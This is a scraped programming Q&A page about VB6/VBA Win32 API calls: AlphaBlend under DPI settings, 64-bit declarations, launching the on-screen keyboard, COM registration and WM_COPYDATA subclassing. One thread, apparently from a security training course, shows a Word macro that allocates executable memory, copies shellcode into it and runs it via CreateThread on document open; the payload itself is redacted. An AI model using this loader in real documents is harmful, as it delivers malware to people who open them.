AlphaBlend fails on one machine in one software - api

I am using the same AlphaBlend function as declared like this:
Public Declare Function AlphaBlend Lib "MSIMG32.dll" (ByVal hDCDest As Long, ByVal nXOriginDest As Long, ByVal nYOriginDest As Long, ByVal nWidthDest As Long, ByVal nHeightDest As Long, ByVal hDCSrc As Long, ByVal nXOriginSrc As Long, ByVal nYOriginSrc As Long, ByVal nWidthSrc As Long, ByVal nHeightSrc As Long, ByVal lBlendFunction As Long) As Long
There are some machines where my code works perfectly fine and does exactely what it should.
On one machine, the very same code works fine in application A, but the same code in application B makes AlphaBlend fail.
Imagine the following:
You have 2 identical twins both eating an apple. Both apples are perfectly the same.
One twin swallows it successfully, the other twin dies trying to do so.
GetLastError returns 0.
How could I investigate what goes wrong?
One some machines, all is fine.
On the one machine in question however, I have compiled the very same code running in two applications: Application A and application B.
In application A, AlphaBlend fails, and in application B, AlphaBlend succeeds.
And it's ALWAYS that it fails in application A.
I have even doubted VB6's sanity and checked if "Len" actually returns the correct length.
I use VB6 since 20 years, but I have never experienced something that crazy.
Does anybody have any idea why the same code might fail in that one application?
Option Explicit
Private Declare Function GetLastError Lib "kernel32" () As Long
Private Declare Function AlphaBlend Lib "MSIMG32.dll" (ByVal hDCDest As Long, ByVal nXOriginDest As Long, ByVal nYOriginDest As Long, ByVal nWidthDest As Long, ByVal nHeightDest As Long, ByVal hDCSrc As Long, ByVal nXOriginSrc As Long, ByVal nYOriginSrc As Long, ByVal nWidthSrc As Long, ByVal nHeightSrc As Long, ByVal lBlendFunction As Long) As Long
Private Declare Function FindWindow Lib "USER32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Sub MoveMemory Lib "Kernel32.dll" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Private Declare Function GetClientRect Lib "USER32" (ByVal hWnd As Long, lpRect As RECT) As Long
Private Declare Function GetDC Lib "USER32" (ByVal hWnd As Long) As Long
Private Declare Function ReleaseDC Lib "User32.dll" (ByVal hWnd As Long, ByVal hdc As Long) As Long
Private Type BLENDFUNCTION
BlendOp As Byte
BlendFlags As Byte
SourceConstantAlpha As Byte
AlphaFormat As Byte
End Type
Private Type RECT
Left As Long
Top As Long
Right As Long
Bottom As Long
End Type
Private Const AC_SRC_OVER = &H0
Private Sub Timer1_Timer()
Dim lHwnd&
lHwnd = FindWindow(vbNullString, "twsseetechcamwin")
If lHwnd = 0 Then
Me.Caption = "is null!"
Exit Sub
End If
Me.Caption = "ok"
Dim LBF As Long
Dim bf As BLENDFUNCTION
With bf
.BlendOp = AC_SRC_OVER
.SourceConstantAlpha = 255
End With
Dim lLen&
lLen = Len(bf) 'just check for sanity... I wanted to make sure that it's 4, and it indeed is
Call MoveMemory(LBF, bf, Len(bf)) 'Copy struct into a Long var
Dim rOtherWin As RECT
GetClientRect lHwnd, rOtherWin
Dim lOtherDC&
lOtherDC = GetDC(lHwnd)
Dim r As RECT
GetClientRect Me.hWnd, r
Dim lret&
lret = AlphaBlend(Me.hdc, 0, 0, (r.Right - r.Left), (r.Bottom - r.Top), lOtherDC, 0, 0, (rOtherWin.Right - rOtherWin.Left), (rOtherWin.Bottom - rOtherWin.Top), LBF)
Dim lWinErr&
lWinErr = GetLastError()
Me.Caption = Time & " ret: " & lret & ", err: " & lWinErr&
ReleaseDC lHwnd, lOtherDC
End Sub

The problem occurs when the OS is set to high DPI settings (like display everything in 150%) AND if the application has a manifest that states dpiaware=true.
There are 2 possible solutions:
Remove dpiaware from the manifest
Add a manifest to the other process as well and declare dpiaware=true in that manifest, too. This way there is no discrepancy between the 2 processes. This of course only works if it's your product / process, and you have the possibility to compile it with a manifest.

Since this is machine-specific (assuming that is accurate) there is a possibility that the two programs A and B are not loading the same copy of MSIMG32.dll.
I would check: are there multiple copies of that DLL on the PC? Especially if there is a copy in the program folder for A or B?
Also you can run Process Monitor and observe the running program to see exactly what DLLs are being loaded. That could at least confirm they are both running the same DLL and eliminate that as a potential cause.
Other than that, personally I would throw in some debug logging and really verify that the inputs to the failing function are the same.

Related

VBA Run Shellcode in Memory showing type error

I'm testing out running shellcode in memory for a training course and am hitting some issues with VBAs errors.
When I try to run the macro in Word I get the following error:
Compile Error: Type mismatch
This appears to point towards my use of RtlMoveMemory within my Run() functions. I have copied this verbatim from the course material and it appears to match other samples online.
I have tried modifying the types of addr, data and counter to LongLong or just Long but they seem to throw the same error. I am using a 64-bit version of Windows and my understanding is that LongPtr should be the correct 'bitness', 64.
What am I missing below? I have redacted the shellcode as it was a Metasploit payload.
Private Declare PtrSafe Function CreateThread Lib "KERNEL32" (ByVal SecurityAttributes As Long, ByVal StackSize As Long, ByVal StartFunction As LongPtr, ThreadParameter As LongPtr, ByVal CreateFlags As Long, ByRef ThreadId As Long) As LongPtr
Private Declare PtrSafe Function VirtualAlloc Lib "KERNEL32" (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib "KERNEL32" (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long) As LongPtr
Function Run()
Dim buf As Variant
Dim addr As LongPtr
Dim counter As Long
Dim data As Long
Dim res As Long
buf = Array(.... _)
addr = VirtualAlloc(0, UBound(buf), &H3000, &H40)
For counter = LBound(buf) To UBound(buf)
data = buf(counter)
res = RtlMoveMemory(addr + counter, data, 1)
Next counter
res = CreateThread(0, 0, addr, 0, 0, 0)
End Function
Sub Document_Open()
Run
End Sub
Sub AutoOpen()
Run
End Sub

The code in this project must be updated for use on 64-bit systems

We have been using MS Access database (Office 2007, 32bit) in Windows 7 for a long time but recently we switched into Office 2016, 64 bit.
Now every form is displaying the following message and it's really irritating:
Moreover, the Access window is not getting minimized. I'm not an expert in VBA and don't know what to do. I'm pasting the codes. Please don't suggest any article or documentation provided by Microsoft. I have tried to understand those a lot and failed.
The code being used is:
Option Compare Database
Private Declare Function SetWindowPos Lib "user32.dll" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal X As Long, ByVal Y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
And:
Private Sub Form_Load()
Application.RunCommand (acCmdAppRestore)
SetWindowPos Application.hWndAccessApp, 0, 0, 0, 0, 0, 0
Application.DoCmd.MoveSize 0, 0
End Sub
Previously (in 32-bit office) the Access window used to be hidden on form load but now in 64-bit it's wide open. Please help me to hide the MS Access window in 64-bit version.
Upgrading companies software without extensive test is amateurish!
But if that error message is the only problem you are lucky. You need to convert the api arguments declaration to x64, what usually means change allLongdeclarations of handles and pointers to LongPtrand add PtrSafe after Declare.
With the conditional compiler (#If VBA7 Then) Office 2010 and later use the first part, as they support VBA7 (LongPtr), Office 2007 and earlier use the else part with the old declaration.
#If VBA7 Then
Private Declare PtrSafe Function SetWindowPos Lib "user32" Alias "SetWindowPos" (ByVal hwnd As LongPtr, ByVal hWndInsertAfter As LongPtr, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
#Else
Private Declare Function SetWindowPos Lib "user32" Alias "SetWindowPos" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
#End If
This can be found at Declaring API Functions In 64 Bit Office.
Seems like you do not use x86 ActiveX controls or ODBC connections, because they cause trouble too.
You should read the Compatibility Inspector user's guide to get prepared for more trouble;)
I agree with ComputerVersteher for the first part, so I'll address the second part of your question. You can make the form invisible by doing this:
Private Sub Form_Load()
'this turns the forms timer event on every 1 milisecond
Me.TimerInterval = 1
End Sub
Private Sub Form_Timer()
Me.Visible = False
'this turns the timer event off so you don't waste CPU power
Me.TimerInterval = 0
End Sub

Calling On-Screen Keyboard from Excel VBA

I'm trying to pull up the on-screen keyboard.
Here are my attempts so far:
' Only needed for Test3
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" ( _
ByVal hWnd As Long, ByVal lpOperation As String, ByVal lpFile As String, _
ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Sub Test1()
' Run-time error'53':
' File Not found
Dim RetVal As Variant
RetVal = Shell("C:\WINDOWS\system32\osk.exe", 1)
End Sub
Sub Test2()
' Run-time error '432':
' File name or class name not found during Automation operation
ActiveWorkbook.FollowHyperlink Address:="C:\Windows\System32\osk.exe"
End Sub
Sub Test3()
' No error. Nothing happens at all
ShellExecute 0, vbNullString, "osk.exe", vbNullString, "C:\", 1
End Sub
Test2 from this forum.
Test3 from this forum.
I checked the path to osk.exe is correct.
I have a Surface laptop/tablet, so it has a touch screen and a "touch" keyboard (different from the osk). Is that what's causing the issue or possibly it's a Windows 10 thing?
On a 64-Bit OS try this
Option Explicit
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Declare Function Wow64EnableWow64FsRedirection Lib "kernel32.dll" (ByVal Enable As Boolean) As Boolean
Private Sub RunOsk_on64Bit()
Const SW_SHOWNORMAL = 1
On Error Resume Next
Wow64EnableWow64FsRedirection False
ShellExecute 0, "open", "osk.exe", "", "C:\windows\system32\osk.exe", SW_SHOWNORMAL
Wow64EnableWow64FsRedirection True
End Sub
Found here, this might the explanation, quote from the link
This is an issue with 64-bit OS, it affects any 64-bit version of Windows.
Basically you are calling osk.exe, but your program you are calling it
from is a 32-bit app. Windows won't allow you to call a 64-bit OSK.exe
from your program. The comments appear to miss your point here, anyone
can start osk.exe from Run, but call it from within a 32-bit
application won't work in 64-bit Windows.
I am developing software that uses the on-screen keyboard, the only
work around is Wow64DisableWow64FsRedirection.
Update: A "nicer" version might look like that
Option Explicit
Type SHELLEXECUTEINFO
cbSize As Long
fMask As Long
hwnd As Long
lpVerb As String
lpFile As String
lpParameters As String
lpDirectory As String
nShow As Long
hInstApp As Long
lpIDList As Long
lpClass As String
hkeyClass As Long
dwHotKey As Long
hIcon As Long
hProcess As Long
End Type
Public Declare Function ShellExecuteEx Lib "shell32.dll" _
(lpExecInfo As SHELLEXECUTEINFO) As Long
Declare Function Wow64DisableWow64FsRedirection Lib "kernel32.dll" (ByRef ptr As Long) As Boolean
Declare Function Wow64RevertWow64FsRedirection Lib "kernel32.dll" (ByRef ptr As Long) As Boolean
Public Function KeyboardOpen()
Dim shInfo As SHELLEXECUTEINFO
Dim lngPtr As Long
With shInfo
.cbSize = Len(shInfo)
.lpFile = "C:\Windows\Sysnative\cmd.exe" 'best to use Known folders here
.lpParameters = "/c start osk.exe"
.lpDirectory = "C:\windows\system32" 'best to use Known folders here
.lpVerb = "open"
.nShow = 0
End With
Call Wow64DisableWow64FsRedirection(lngPtr)
Call ShellExecuteEx(shInfo)
Call Wow64RevertWow64FsRedirection(lngPtr)
End Function
Based on the information in MSDN it might be more reliable to use Wow64DisableWow64FsRedirection and Wow64RevertWow64FsRedirection functions instead.

Library not registered, Windows XP

Using VB6, I cannot change to VB .NET or anything else.
I'm trying to register a COM Library programmatically in the Form_Load() method of the invoking application.
The method I'm using below works as expected on Windows 7, both x86 and x64. However when I try and use the same application on Windows XP, I receive the Library not registered error:
http://imgur.com/zus2bK6
I have verified that the Library is being registered and it shows properly in the registry at HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MyDll.Component as well as in HKEY_CLASSES_ROOT\AppID\Mydll.DLL
Here is the code I am using, can anyone tell me why this would be occurring on XP only and how to resolve it?
Private Declare Function DllRegisterServer Lib "MyDLL.dll" () As Long
Private Declare Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As Long
Private Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long
Private Declare Function CallWindowProc Lib "user32" Alias "CallWindowProcA" (ByVal lpPrevWndFunc As Long, ByVal hwnd As Long, ByVal Msg As Any, ByVal wParam As Any, ByVal lParam As Any) As Long
Private Sub Form_Load()
ReDim ConfigFiles(0)
ReDim ConfigFilesToAdd(0)
libID = LoadLibrary("MyDLL.dll")
Dim pAdd As Long
pAdd = GetProcAddress(libID, "DllRegisterServer")
Dim lResult As Long
lResult = CallWindowProc(pAdd, 0&, 0&, 0&, 0&)
Set IGDep = CreateObject(MyDLL.Component")
End Sub
I have performed this process with all manner of permissions including the Administrator account and ensured that I had all permissions on the registry.
Thanks for any help you guys can give.

Is there a way to call: Protected Override void WndProc(ref Message m) in VB6?

I am implementing an application in C#.net that is passing a message to an VB6 application.
For testing I created 2 applications both in C#.NET:- One sends message and 2nd receives the message.
The receiving application (C#.NET) makes use of the following function to catch the message:-
Protected Override void WndProc(ref Message m)
I now need to implement this receiver app in VB6.. How do we implement Protected Override void WndProc(ref Message m) in VB6? Or is there any other alternative?
Overriding the default windows procedure is possible in VB6 and is called Subclassing.
In a module:
Private Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
Private Declare Function CallWindowProc Lib "user32" Alias "CallWindowProcA" (ByVal lpPrevWndFunc As Long, ByVal hwnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Private Const GWL_WNDPROC As Long = (-4)
Private originalWindowProcAddr As Long
Public Sub subclassForm(hwnd As Long)
'// replace existing windows procedure save its address
originalWindowProcAddr = SetWindowLong(hwnd, GWL_WNDPROC, AddressOf NewWindowProc)
End Sub
Public Function NewWindowProc(ByVal hwnd As Long, ByVal uMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Debug.Print "received message for:", hwnd, "message:", uMsg
'// forward message to default
NewWindowProc = CallWindowProc(originalWindowProcAddr, hwnd, uMsg, wParam, lParam)
End Function
Public Sub unSubclassForm(hwnd As Long)
'// must tidy up by restoring the original window proc
SetWindowLong hwnd, GWL_WNDPROC, originalWindowProcAddr
End Sub
In the form
Private Sub Form_Load()
subclassForm Me.hwnd
End Sub
Private Sub form_Unload(Cancel As Integer)
unSubclassForm Me.hwnd
End Sub
Failing to call unSubclassForm will crash the VB IDE, as will breaking into debug mode.
I have followed this method:-
http://support.microsoft.com/kb/176058/en-us
Alternate link: https://web.archive.org/web/20150118054920/http://support.microsoft.com:80/kb/176058
How To Pass String Data Between Applications Using SendMessage
SUMMARY
There are many ways to achieve inter-process communication using Visual Basic. Unless you establish an OLE Automation client server relationship, string data is difficult to handle cleanly. The main reason is that 32-bit applications run in a separate address space, so the address of a string in one application is not meaningful to another application in a different address space. Using the SendMessage() API function to pass a WM_COPYDATA message avoids this problem.
This article demonstrates how to pass string data from one application to another by using the SendMessage API function with the WM_COPYDATA message.
WARNING: One or more of the following functions are discussed in this article; VarPtr, VarPtrArray, VarPtrStringArray, StrPtr, ObjPtr. These functions are not supported by Microsoft Technical Support. They are not documented in the Visual Basic documentation and are provided in this Knowledge Base article "as is." Microsoft does not guarantee that they will be available in future releases of Visual Basic.
Visual Basic does not support pointers and castings in the manner of Visual C++. In order to pass string data from one Visual Basic application to another, the Unicode string must be converted to ASCII prior to passing it to the other application. The other application must then convert the ASCII string back to Unicode.
The following summarizes how to pass string data from one application to another.
Step-by-Step Example
Convert the string to a byte array using the CopyMemory() API.
Obtain the address of the byte array using the VarPtr() intrinsic function and copy the address and length of the byte array into a COPYDATASTRUCT structure.
Pass the COPYDATASTRUCT to another application using the WM_COPYDATA message, setting up the other application to receive the message.
Unpack the structure on the target system using CopyMemory(), and convert the byte array back to a string using the StrConv() intrinsic function.
The next section shows you how to create a sample program that demonstrates passing string data from one application to another.
Steps to Create the Sample
To create this sample, you create two separate projects; a sending project and a target project.
Create the target application:
Start a new Standard EXE project in Visual Basic. Form1 is created by default. This project will be your target application.
Add a Label control to Form1.
Copy the following code to the Code window of Form1:
Private Sub Form_Load()
gHW = Me.hWnd
Hook
Me.Caption = "Target"
Me.Show
Label1.Caption = Hex$(gHW)
End Sub
Private Sub Form_Unload(Cancel As Integer)
Unhook
End Sub
Add a module to the project and paste the following code in the Module1 code window:
Type COPYDATASTRUCT
dwData As Long
cbData As Long
lpData As Long
End Type
Public Const GWL_WNDPROC = (-4)
Public Const WM_COPYDATA = &H4A
Global lpPrevWndProc As Long
Global gHW As Long
'Copies a block of memory from one location to another.
Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" _
(hpvDest As Any, hpvSource As Any, ByVal cbCopy As Long)
Declare Function CallWindowProc Lib "user32" Alias _
"CallWindowProcA" (ByVal lpPrevWndFunc As Long, ByVal hwnd As _
Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As _
Long) As Long
Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" _
(ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As _
Long) As Long
Public Sub Hook()
lpPrevWndProc = SetWindowLong(gHW, GWL_WNDPROC, _
AddressOf WindowProc)
Debug.Print lpPrevWndProc
End Sub
Public Sub Unhook()
Dim temp As Long
temp = SetWindowLong(gHW, GWL_WNDPROC, lpPrevWndProc)
End Sub
Function WindowProc(ByVal hw As Long, ByVal uMsg As Long, _
ByVal wParam As Long, ByVal lParam As Long) As Long
If uMsg = WM_COPYDATA Then
Call mySub(lParam)
End If
WindowProc = CallWindowProc(lpPrevWndProc, hw, uMsg, wParam, _
lParam)
End Function
Sub mySub(lParam As Long)
Dim cds As COPYDATASTRUCT
Dim buf(1 To 255) As Byte
Call CopyMemory(cds, ByVal lParam, Len(cds))
Select Case cds.dwData
Case 1
Debug.Print "got a 1"
Case 2
Debug.Print "got a 2"
Case 3
Call CopyMemory(buf(1), ByVal cds.lpData, cds.cbData)
a$ = StrConv(buf, vbUnicode)
a$ = Left$(a$, InStr(1, a$, Chr$(0)) - 1)
Form1.Print a$
End Select
End Sub
Save the project and minimize the Visual Basic IDE.
Create the Sending Application
Start a second instance of the Visual Basic IDE and create a new Standard EXE project in Visual Basic. Form1 is created by default.
Add a CommandButton to Form1.
Copy the following code to the Code window of Form1:
Private Type COPYDATASTRUCT
dwData As Long
cbData As Long
lpData As Long
End Type
Private Const WM_COPYDATA = &H4A
Private Declare Function FindWindow Lib "user32" Alias _
"FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName _
As String) As Long
Private Declare Function SendMessage Lib "user32" Alias _
"SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal _
wParam As Long, lParam As Any) As Long
'Copies a block of memory from one location to another.
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" _
(hpvDest As Any, hpvSource As Any, ByVal cbCopy As Long)
Private Sub Command1_Click()
Dim cds As COPYDATASTRUCT
Dim ThWnd As Long
Dim buf(1 To 255) As Byte
' Get the hWnd of the target application
ThWnd = FindWindow(vbNullString, "Target")
a$ = "It Works!"
' Copy the string into a byte array, converting it to ASCII
Call CopyMemory(buf(1), ByVal a$, Len(a$))
cds.dwData = 3
cds.cbData = Len(a$) + 1
cds.lpData = VarPtr(buf(1))
i = SendMessage(ThWnd, WM_COPYDATA, Me.hwnd, cds)
End Sub
Private Sub Form_Load()
' This gives you visibility that the target app is running
' and you are pointing to the correct hWnd
Me.Caption = Hex$(FindWindow(vbNullString, "Target"))
End Sub
Save the project.
Running the Sample
Restore the target application and press the F5 key to run the project. Note that the value of the hWnd displayed in the label.
Restore the sending application and press the F5 key to run the project. Verify that the hWnd in the form caption matches the hWnd in the label on the target application. Click the CommandButton and the text message should be displayed on the form of the target application.